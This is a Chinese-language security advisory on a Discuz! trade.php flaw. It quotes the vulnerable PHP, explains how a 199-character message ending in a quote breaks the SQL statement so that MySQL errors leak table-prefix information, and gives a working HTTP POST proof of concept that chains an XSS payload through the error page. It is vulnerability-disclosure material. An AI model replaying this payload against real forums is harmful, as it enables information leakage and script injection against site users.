Discuz! trade.php 數據庫'注射' bug

Discuz! trade.php 數據庫'注射' bug

author: 80vul-B
team:[url]http://www.80vul.com[/url]

一 分析

文件trade.php:

		$message = trim($message);
		if($message) {
			$message = daddslashes($tradelog['message'], 1)."\t\t\t".$discuz_uid."\t".$discuz_user."\t".$timestamp."\t".nl2br(strip_tags(substr($message, 0, 200)));
		//$message用substr處理了下,取前200個字符
		} else {
			$message = daddslashes($tradelog['message'], 1);
		}

		$db->query("UPDATE {$tablepre}tradelog SET status='$offlinestatus', lastupdate='$timestamp', message='$message' WHERE orderid='$orderid'");
		//這個地方$message直接進入sql語句了:)
		showmessage('trade_orderstatus_updated', 'trade.php?orderid='.$orderid);
	}

把199個A和一個'賦值給message,經過gpc處理後$message的值爲199個A和\',在經過substr的處理變爲199個A和\,這樣帶入sql語句,執行時就會報錯了:).由於$orderid被過濾導致沒有辦法利用這個進行'有效'的sql注射漏洞,但是可以利用mysql的錯誤信息得到表名的前綴等信息,還有就是可能通過<Discuz! 數據庫錯誤信息xss bug>進行xss***?

二 利用

poc:

POST discuz/trade.php/<script>alert(/xss/)</script>?orderid=20081101133833f8ePgzOquj6UdcKUVq HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Referer: [url]http://127.0.0.1/discuz/[/url]
User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)
Host: 127.0.0.1
Cookie: pbK_auth=488bbzQZdkZGTyZFGMWesQH%2BAKOb5YMEQOhJ6qQC9YuWhZWtHn4wduYOvNf9b%2BLYe7g3rPPH%2FEi1HspTnSCZow
Content-Length: 426
Content-Type: application/x-www-form-urlencoded
Connection: Close

formhash=b674a3cd&password=123456&message=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27&offlinestatus=4&offlinesubmit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2&newnumber=1&newbuyername=80vul&newbuyercontact=80vul&newbuyerzip=12345&newbuyerphone=123122&newbuyermobile=121312312 

三 補丁[fix]

等待官方補丁